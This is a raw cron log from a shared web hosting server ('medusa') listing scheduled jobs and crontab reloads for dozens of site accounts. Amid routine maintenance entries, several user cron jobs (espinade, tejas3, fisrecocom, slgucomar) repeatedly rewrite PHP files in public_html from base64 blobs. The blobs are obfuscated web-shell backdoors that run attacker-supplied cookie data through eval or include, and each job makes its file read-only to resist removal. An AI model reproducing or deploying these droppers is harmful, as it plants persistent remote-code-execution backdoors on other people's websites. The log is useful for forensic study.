Mar  1 07:30:02 medusa CROND[25935]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:30:02 medusa CROND[25938]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 07:30:02 medusa CROND[25939]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 07:30:02 medusa CROND[25941]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 07:30:02 medusa CROND[25945]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 07:30:02 medusa CROND[25950]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:30:02 medusa CROND[25952]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:30:02 medusa CROND[25953]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:30:02 medusa CROND[25955]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:30:02 medusa CROND[25954]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 07:30:02 medusa CROND[25961]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:30:02 medusa CROND[25963]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 07:30:02 medusa CROND[25964]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 07:30:02 medusa CROND[25965]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 07:30:02 medusa CROND[25962]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:30:02 medusa CROND[25971]: (root) CMD (/nutscripts/stop_scripts.sh > /dev/null 2>&1)
Mar  1 07:30:02 medusa CROND[25972]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:30:02 medusa CROND[25974]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:30:02 medusa CROND[25973]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 07:30:02 medusa CROND[25980]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:30:02 medusa CROND[25949]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 07:30:02 medusa CROND[25979]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 07:30:02 medusa CROND[25990]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 07:30:02 medusa CROND[25994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:30:02 medusa CROND[25993]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 07:30:02 medusa CROND[25992]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 07:31:02 medusa crond[30932]: (root) RELOAD (/var/spool/cron/root)
Mar  1 07:31:02 medusa crond[30932]: (anam1e7) RELOAD (/var/spool/cron/anam1e7)
Mar  1 07:31:02 medusa crond[30932]: (paynextcheck) RELOAD (/var/spool/cron/paynextcheck)
Mar  1 07:31:02 medusa crond[30932]: (larompe) RELOAD (/var/spool/cron/larompe)
Mar  1 07:31:02 medusa crond[30932]: (aromasde) RELOAD (/var/spool/cron/aromasde)
Mar  1 07:31:02 medusa crond[30932]: (mercadoenmov) RELOAD (/var/spool/cron/mercadoenmov)
Mar  1 07:31:02 medusa crond[30932]: (nespencapital) ORPHAN (no passwd entry)
Mar  1 07:31:02 medusa crond[30932]: (serenahaus) RELOAD (/var/spool/cron/serenahaus)
Mar  1 07:31:02 medusa crond[30932]: (estudi13) RELOAD (/var/spool/cron/estudi13)
Mar  1 07:31:02 medusa crond[30932]: (extralimpsa) RELOAD (/var/spool/cron/extralimpsa)
Mar  1 07:31:02 medusa crond[30932]: (credit) RELOAD (/var/spool/cron/credit)
Mar  1 07:31:02 medusa crond[30932]: (wowproducciones) RELOAD (/var/spool/cron/wowproducciones)
Mar  1 07:31:02 medusa crond[30932]: (artconc) RELOAD (/var/spool/cron/artconc)
Mar  1 07:31:02 medusa crond[30932]: (centraloperativa) RELOAD (/var/spool/cron/centraloperativa)
Mar  1 07:31:02 medusa crond[30932]: (tutela) RELOAD (/var/spool/cron/tutela)
Mar  1 07:31:02 medusa crond[30932]: (ipclimatizar) RELOAD (/var/spool/cron/ipclimatizar)
Mar  1 07:31:02 medusa crond[30932]: (javierc) RELOAD (/var/spool/cron/javierc)
Mar  1 07:31:02 medusa crond[30932]: (marc68b) RELOAD (/var/spool/cron/marc68b)
Mar  1 07:31:02 medusa crond[30932]: (reinadel) RELOAD (/var/spool/cron/reinadel)
Mar  1 07:31:02 medusa crond[30932]: (servichina) RELOAD (/var/spool/cron/servichina)
Mar  1 07:31:02 medusa crond[30932]: (arventgroup) RELOAD (/var/spool/cron/arventgroup)
Mar  1 07:31:02 medusa crond[30932]: (patago) RELOAD (/var/spool/cron/patago)
Mar  1 07:31:02 medusa crond[30932]: (uveitiscom) RELOAD (/var/spool/cron/uveitiscom)
Mar  1 07:31:02 medusa crond[30932]: (marcoslu) RELOAD (/var/spool/cron/marcoslu)
Mar  1 07:31:02 medusa crond[30932]: (energiae) RELOAD (/var/spool/cron/energiae)
Mar  1 07:31:02 medusa crond[30932]: (ideastodoterreno) WRONG FILE OWNER (/var/spool/cron/ideastodoterreno)
Mar  1 07:31:02 medusa crond[30932]: (delmorro) RELOAD (/var/spool/cron/delmorro)
Mar  1 07:31:02 medusa crond[30932]: (ulamayor) RELOAD (/var/spool/cron/ulamayor)
Mar  1 07:31:02 medusa crond[30932]: (sifelsrl) RELOAD (/var/spool/cron/sifelsrl)
Mar  1 07:31:02 medusa crond[30932]: (brcr) RELOAD (/var/spool/cron/brcr)
Mar  1 07:31:02 medusa crond[30932]: (plansolidario) RELOAD (/var/spool/cron/plansolidario)
Mar  1 07:31:02 medusa crond[30932]: (cloncom) RELOAD (/var/spool/cron/cloncom)
Mar  1 07:31:02 medusa crond[30932]: (bio6532) RELOAD (/var/spool/cron/bio6532)
Mar  1 07:31:02 medusa crond[30932]: (nrivas) RELOAD (/var/spool/cron/nrivas)
Mar  1 07:31:02 medusa crond[30932]: (solardel) RELOAD (/var/spool/cron/solardel)
Mar  1 07:31:02 medusa crond[30932]: (tecnosec) RELOAD (/var/spool/cron/tecnosec)
Mar  1 07:31:02 medusa crond[30932]: (lomasdelacarolin) RELOAD (/var/spool/cron/lomasdelacarolin)
Mar  1 07:31:02 medusa crond[30932]: (gelminultimate) RELOAD (/var/spool/cron/gelminultimate)
Mar  1 07:31:02 medusa crond[30932]: (finauto) RELOAD (/var/spool/cron/finauto)
Mar  1 07:31:02 medusa crond[30932]: (alacubanaestilis) RELOAD (/var/spool/cron/alacubanaestilis)
Mar  1 07:31:02 medusa crond[30932]: (cbcgarci) RELOAD (/var/spool/cron/cbcgarci)
Mar  1 07:31:02 medusa crond[30932]: (radio) RELOAD (/var/spool/cron/radio)
Mar  1 07:31:02 medusa crond[30932]: (qpmark) RELOAD (/var/spool/cron/qpmark)
Mar  1 07:31:02 medusa crond[30932]: (basanezt) RELOAD (/var/spool/cron/basanezt)
Mar  1 07:31:02 medusa crond[30932]: (aduesorg) RELOAD (/var/spool/cron/aduesorg)
Mar  1 07:31:02 medusa crond[30932]: (chabinfo) RELOAD (/var/spool/cron/chabinfo)
Mar  1 07:31:02 medusa crond[30932]: (alejandrosignore) ORPHAN (no passwd entry)
Mar  1 07:31:02 medusa crond[30932]: (elevansrl) RELOAD (/var/spool/cron/elevansrl)
Mar  1 07:31:02 medusa crond[30932]: (ussacom) RELOAD (/var/spool/cron/ussacom)
Mar  1 07:31:02 medusa crond[30932]: (mariaale) RELOAD (/var/spool/cron/mariaale)
Mar  1 07:31:02 medusa crond[30932]: (tmcp) RELOAD (/var/spool/cron/tmcp)
Mar  1 07:31:02 medusa crond[30932]: (jornadasfor) RELOAD (/var/spool/cron/jornadasfor)
Mar  1 07:31:02 medusa crond[30932]: (comahueprop) RELOAD (/var/spool/cron/comahueprop)
Mar  1 07:31:02 medusa crond[30932]: (sccordob) RELOAD (/var/spool/cron/sccordob)
Mar  1 07:31:02 medusa crond[30932]: (steticamantras) RELOAD (/var/spool/cron/steticamantras)
Mar  1 07:31:02 medusa crond[30932]: (altercom) RELOAD (/var/spool/cron/altercom)
Mar  1 07:31:02 medusa crond[30932]: (maxtrip) RELOAD (/var/spool/cron/maxtrip)
Mar  1 07:31:02 medusa crond[30932]: (tranquer) RELOAD (/var/spool/cron/tranquer)
Mar  1 07:31:02 medusa crond[30932]: (dieg0fd) RELOAD (/var/spool/cron/dieg0fd)
Mar  1 07:31:02 medusa crond[30932]: (gemaambientacion) RELOAD (/var/spool/cron/gemaambientacion)
Mar  1 07:31:02 medusa crond[30932]: (gtpack) RELOAD (/var/spool/cron/gtpack)
Mar  1 07:31:02 medusa crond[30932]: (alvura) RELOAD (/var/spool/cron/alvura)
Mar  1 07:31:02 medusa crond[30932]: (credinver) RELOAD (/var/spool/cron/credinver)
Mar  1 07:31:02 medusa crond[30932]: (finapro) ORPHAN (no passwd entry)
Mar  1 07:31:02 medusa crond[30932]: (activosdevalorco) RELOAD (/var/spool/cron/activosdevalorco)
Mar  1 07:31:02 medusa crond[30932]: (comosifueralapri) RELOAD (/var/spool/cron/comosifueralapri)
Mar  1 07:31:02 medusa crond[30932]: (tejas3) RELOAD (/var/spool/cron/tejas3)
Mar  1 07:31:02 medusa crond[30932]: (setboom) RELOAD (/var/spool/cron/setboom)
Mar  1 07:31:02 medusa crond[30932]: (gilbiset) RELOAD (/var/spool/cron/gilbiset)
Mar  1 07:31:02 medusa crond[30932]: (agustina) RELOAD (/var/spool/cron/agustina)
Mar  1 07:31:02 medusa crond[30932]: (tartarel) RELOAD (/var/spool/cron/tartarel)
Mar  1 07:31:02 medusa crond[30932]: (morsella2020) RELOAD (/var/spool/cron/morsella2020)
Mar  1 07:31:02 medusa crond[30932]: (plastico) RELOAD (/var/spool/cron/plastico)
Mar  1 07:31:02 medusa crond[30932]: (dbpowellcom) RELOAD (/var/spool/cron/dbpowellcom)
Mar  1 07:31:02 medusa crond[30932]: (candados) RELOAD (/var/spool/cron/candados)
Mar  1 07:31:02 medusa crond[30932]: (chabcom) RELOAD (/var/spool/cron/chabcom)
Mar  1 07:31:02 medusa crond[30932]: (osocials) RELOAD (/var/spool/cron/osocials)
Mar  1 07:31:02 medusa crond[30932]: (chbolsas) RELOAD (/var/spool/cron/chbolsas)
Mar  1 07:31:02 medusa crond[30932]: (aporiast) RELOAD (/var/spool/cron/aporiast)
Mar  1 07:31:02 medusa crond[30932]: (conesper) RELOAD (/var/spool/cron/conesper)
Mar  1 07:31:02 medusa crond[30932]: (digitalb) RELOAD (/var/spool/cron/digitalb)
Mar  1 07:31:02 medusa crond[30932]: (motosven) RELOAD (/var/spool/cron/motosven)
Mar  1 07:31:02 medusa crond[30932]: (notisyhech) ORPHAN (no passwd entry)
Mar  1 07:31:02 medusa crond[30932]: (diesel) RELOAD (/var/spool/cron/diesel)
Mar  1 07:31:02 medusa crond[30932]: (google) RELOAD (/var/spool/cron/google)
Mar  1 07:31:02 medusa crond[30932]: (imercado) RELOAD (/var/spool/cron/imercado)
Mar  1 07:31:02 medusa crond[30932]: (laberzoz) RELOAD (/var/spool/cron/laberzoz)
Mar  1 07:31:02 medusa crond[30932]: (dlpcap) RELOAD (/var/spool/cron/dlpcap)
Mar  1 07:31:02 medusa crond[30932]: (vuelosprivados) RELOAD (/var/spool/cron/vuelosprivados)
Mar  1 07:31:02 medusa crond[30932]: (wwwnuevafundacio) RELOAD (/var/spool/cron/wwwnuevafundacio)
Mar  1 07:31:02 medusa crond[30932]: (amaoffic) RELOAD (/var/spool/cron/amaoffic)
Mar  1 07:31:02 medusa crond[30932]: (cesarspi) RELOAD (/var/spool/cron/cesarspi)
Mar  1 07:31:02 medusa crond[30932]: (cosmo) RELOAD (/var/spool/cron/cosmo)
Mar  1 07:31:02 medusa crond[30932]: (lomasdel) RELOAD (/var/spool/cron/lomasdel)
Mar  1 07:31:02 medusa crond[30932]: (slgucomar) RELOAD (/var/spool/cron/slgucomar)
Mar  1 07:31:02 medusa crond[30932]: (spiga) ORPHAN (no passwd entry)
Mar  1 07:31:02 medusa crond[30932]: (gastb3e) RELOAD (/var/spool/cron/gastb3e)
Mar  1 07:31:02 medusa crond[30932]: (camozzi) ORPHAN (no passwd entry)
Mar  1 07:31:02 medusa crond[30932]: (flowqa) RELOAD (/var/spool/cron/flowqa)
Mar  1 07:31:02 medusa crond[30932]: (elgaucho) RELOAD (/var/spool/cron/elgaucho)
Mar  1 07:31:02 medusa crond[30932]: (tiempodede) RELOAD (/var/spool/cron/tiempodede)
Mar  1 07:31:02 medusa crond[30932]: (petrotra) RELOAD (/var/spool/cron/petrotra)
Mar  1 07:31:02 medusa crond[30932]: (bkvcomar) RELOAD (/var/spool/cron/bkvcomar)
Mar  1 07:31:02 medusa crond[30932]: (roble) RELOAD (/var/spool/cron/roble)
Mar  1 07:31:02 medusa crond[30932]: (madcuqcn) RELOAD (/var/spool/cron/madcuqcn)
Mar  1 07:31:02 medusa crond[30932]: (santamariaunifor) RELOAD (/var/spool/cron/santamariaunifor)
Mar  1 07:31:02 medusa crond[30932]: (fcgdesig) RELOAD (/var/spool/cron/fcgdesig)
Mar  1 07:31:02 medusa crond[30932]: (ipactos) ORPHAN (no passwd entry)
Mar  1 07:31:02 medusa crond[30932]: (wmondolo) RELOAD (/var/spool/cron/wmondolo)
Mar  1 07:31:02 medusa crond[30932]: (machasco) RELOAD (/var/spool/cron/machasco)
Mar  1 07:31:02 medusa crond[30932]: (estudiojuridicoo) RELOAD (/var/spool/cron/estudiojuridicoo)
Mar  1 07:31:02 medusa crond[30932]: (uniges) RELOAD (/var/spool/cron/uniges)
Mar  1 07:31:02 medusa crond[30932]: (mauro2) RELOAD (/var/spool/cron/mauro2)
Mar  1 07:31:02 medusa crond[30932]: (ospiacap) RELOAD (/var/spool/cron/ospiacap)
Mar  1 07:31:02 medusa crond[30932]: (brufmant) RELOAD (/var/spool/cron/brufmant)
Mar  1 07:31:02 medusa crond[30932]: (malena) RELOAD (/var/spool/cron/malena)
Mar  1 07:31:02 medusa crond[30932]: (ecsalvat) RELOAD (/var/spool/cron/ecsalvat)
Mar  1 07:31:02 medusa crond[30932]: (flavia) ORPHAN (no passwd entry)
Mar  1 07:31:02 medusa crond[30932]: (acidrod) RELOAD (/var/spool/cron/acidrod)
Mar  1 07:31:02 medusa crond[30932]: (etsinfronteras) RELOAD (/var/spool/cron/etsinfronteras)
Mar  1 07:31:02 medusa crond[30932]: (amb) RELOAD (/var/spool/cron/amb)
Mar  1 07:31:02 medusa crond[30932]: (neuquenemprende) RELOAD (/var/spool/cron/neuquenemprende)
Mar  1 07:31:02 medusa crond[30932]: (mlas10) RELOAD (/var/spool/cron/mlas10)
Mar  1 07:31:02 medusa crond[30932]: (ferrariy) RELOAD (/var/spool/cron/ferrariy)
Mar  1 07:31:02 medusa crond[30932]: (lolamem) RELOAD (/var/spool/cron/lolamem)
Mar  1 07:31:02 medusa crond[30932]: (coneman) RELOAD (/var/spool/cron/coneman)
Mar  1 07:31:02 medusa crond[30932]: (estudiob) RELOAD (/var/spool/cron/estudiob)
Mar  1 07:31:02 medusa crond[30932]: (lineaing) RELOAD (/var/spool/cron/lineaing)
Mar  1 07:31:02 medusa crond[30932]: (mistocom) RELOAD (/var/spool/cron/mistocom)
Mar  1 07:31:02 medusa crond[30932]: (cerramientosco) RELOAD (/var/spool/cron/cerramientosco)
Mar  1 07:31:02 medusa crond[30932]: (marulweb) RELOAD (/var/spool/cron/marulweb)
Mar  1 07:31:02 medusa crond[30932]: (afservic) RELOAD (/var/spool/cron/afservic)
Mar  1 07:31:02 medusa crond[30932]: (mutual13) RELOAD (/var/spool/cron/mutual13)
Mar  1 07:31:02 medusa crond[30932]: (estudiorillo) ORPHAN (no passwd entry)
Mar  1 07:31:02 medusa crond[30932]: (madiba3dcom) RELOAD (/var/spool/cron/madiba3dcom)
Mar  1 07:31:02 medusa crond[30932]: (lavadero) RELOAD (/var/spool/cron/lavadero)
Mar  1 07:31:02 medusa crond[30932]: (blanq2017) RELOAD (/var/spool/cron/blanq2017)
Mar  1 07:31:02 medusa crond[30932]: (ifts16) RELOAD (/var/spool/cron/ifts16)
Mar  1 07:31:02 medusa crond[30932]: (equinere) RELOAD (/var/spool/cron/equinere)
Mar  1 07:31:02 medusa crond[30932]: (briendsrl) RELOAD (/var/spool/cron/briendsrl)
Mar  1 07:31:02 medusa crond[30932]: (feciero) RELOAD (/var/spool/cron/feciero)
Mar  1 07:31:02 medusa crond[30932]: (firadio) RELOAD (/var/spool/cron/firadio)
Mar  1 07:31:02 medusa crond[30932]: (tecnocom) ORPHAN (no passwd entry)
Mar  1 07:31:02 medusa crond[30932]: (qboredes) RELOAD (/var/spool/cron/qboredes)
Mar  1 07:31:02 medusa crond[30932]: (sigemp) RELOAD (/var/spool/cron/sigemp)
Mar  1 07:31:02 medusa crond[30932]: (familia) RELOAD (/var/spool/cron/familia)
Mar  1 07:31:02 medusa crond[30932]: (iczsacom) RELOAD (/var/spool/cron/iczsacom)
Mar  1 07:31:02 medusa crond[30932]: (cuartop) RELOAD (/var/spool/cron/cuartop)
Mar  1 07:31:02 medusa crond[30932]: (tele) RELOAD (/var/spool/cron/tele)
Mar  1 07:31:02 medusa crond[30932]: (regente) RELOAD (/var/spool/cron/regente)
Mar  1 07:31:02 medusa crond[30932]: (deyapa) RELOAD (/var/spool/cron/deyapa)
